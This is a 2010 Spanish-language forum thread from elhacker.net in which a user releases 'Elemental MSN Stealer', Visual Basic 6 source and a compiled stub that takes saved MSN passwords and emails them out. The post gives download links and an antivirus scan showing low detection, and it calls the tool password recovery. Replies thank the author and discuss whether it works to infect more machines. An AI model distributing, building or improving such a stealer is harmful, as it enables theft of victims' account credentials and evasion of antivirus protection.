Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Elemental Code en 26 Julio 2010, 17:10 pm



Título: [SRC] [VB6] Elemental MSN Stealer
Publicado por: Elemental Code en 26 Julio 2010, 17:10 pm
Que hace?
Obtiene contraceñas y las manda por email

Para que sirve?
Mata, Mata, MATAA!
Si te olvidaste la contraceña y la tenes guardada en el msn con esto la recuperas.

Como hace?
Usa el modulo WLMPD de Cobein.

Foto:
(http://s3.subirimagenes.com:81/imagen/4858450captura.png)

(http://s2.subirimagenes.com/imagen/4858494sin-ttulo.png)

Escaneo:
File Info

Report date: 2010-07-26 16:09:29 (GMT 1)
File name: ElementalStub.dll
File size: 49152 bytes
MD5 Hash: cd7d2e1805a1c57d747da1dee5428aaf
SHA1 Hash: 383b5f71c797c99942cef684a94a2c99fce7103d
Detection rate: 2 on 16 (13%)
Status: INFECTED

Detections

a-squared -
Avast -
AVG -
Avira AntiVir - TR/Spy.Gen
BitDefender -
ClamAV -
Comodo -
Dr.Web -
F-PROT6 - W32/VBTrojan.17G!Maximus
G-Data -
Ikarus T3 -
Kaspersky -
NOD32 -
Panda -
TrendMicro -
VBA32 -


Ver Reporte (http://scanner.novirusthanks.org/analysis/cd7d2e1805a1c57d747da1dee5428aaf/RWxlbWVudGFsU3R1Yi5leGU=/)


Descarga
Depositfiles:
http://depositfiles.com/files/7lxj5fqz3

Mirror Fileserve:
http://www.fileserve.com/file/KeGv9VW


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: Zazú en 26 Julio 2010, 17:27 pm
No puedo confiar de alguien que no es capas de escribir contraseñas  ;-)
Tranquilamente te las podrias mandar a tu correo y al correo del usuario que lo usa, igual despues lo pruebo en la virtual.  ;)


saludos  :D


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: Elemental Code en 26 Julio 2010, 17:44 pm
para eso deje el codigo fuente  >:( >:(

me "ofende" que duden de mi  :rolleyes: :rolleyes:


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: Fitoschido en 27 Julio 2010, 07:05 am
@Elemental Code: No dudamos de ti, así hay personas, a lo mejor la respuesta de Zazú es un poco dura.

Saludos y gracias por el código, muy útil :D


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: Zazú en 27 Julio 2010, 07:12 am
Ahora lo veo de nuevo, tenes razón, comente cualquier cosa por que todavia no me lo habia bajado pero despues vi que estaba el source  :silbar:

Mis disculpas y muchas gracias!  ;)


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: warner2010 en 8 Septiembre 2010, 14:42 pm
 :¬¬ Antes de dejar un mensaje agradeciendo. Primero deben de probar el source.

EL primer bug que encontré es que el stub es una cagada. También cabe destacar que hace una modificación muy sospechosa. El stub es un ".exe" pero luego de ejecutarlo se transforma en ".dll".

Eso no es todo. No funciona el archivo para enviar. Al testear si funciona el envio. Pero para infectar a más pcs no funciona ni para adorno.

Ah... otra cosa. Nunca, pero nunca ejecuten un archivo compilado siendo que ya da su codigo fuente. Lo más recomendable es compilarlo uno mismo.

Repara el error del stub. No postees cosas que no serviran a nadie.

Saludos.
By: drwd.


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: [L]ord [R]NA en 8 Septiembre 2010, 15:34 pm
@warner2010: no es una herramienta para que la uses, es un source para que lo veas.

@ElementalCode: Trata  de hacer tus GUI sin faltas ortograficas... deja mucho que decir.


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: Debci en 8 Septiembre 2010, 16:33 pm
Solo veo en la imagen las faltas de ortografia, por lo demás creo que esta bien, ahora miraré el code.

Saludos


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: -el director del cole- en 8 Septiembre 2010, 22:02 pm
Buen programa Elemental Code te felicto,y ese modulo que decir simplemente cobein un gran maetro del visual basic.

gracias!


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: bizco en 9 Septiembre 2010, 00:58 am
discusiones por privado.


Título: Re: [SRC] [VB6] Elemental MSN Stealer
Publicado por: Elemental Code en 15 Septiembre 2010, 16:56 pm
El stealer una vez creado si funciona.
Fijate que hayas puesto todas las direcciones bien y no "infecta" la maquina, no me gustan los stealers que se instalan porque te llenan la casilla con mensajes repetidos.

ah, me olvidaba, el stub es un exe que le cambie la extensión a DLL. Eso lo especifique en el codigo si no me equivoco  :silbar: es para que al compilarlo sea mas fácil distinguir cual es cual, ademas le da un toque mas de profesionalismo

PD: Ya se que mi ortografía es patética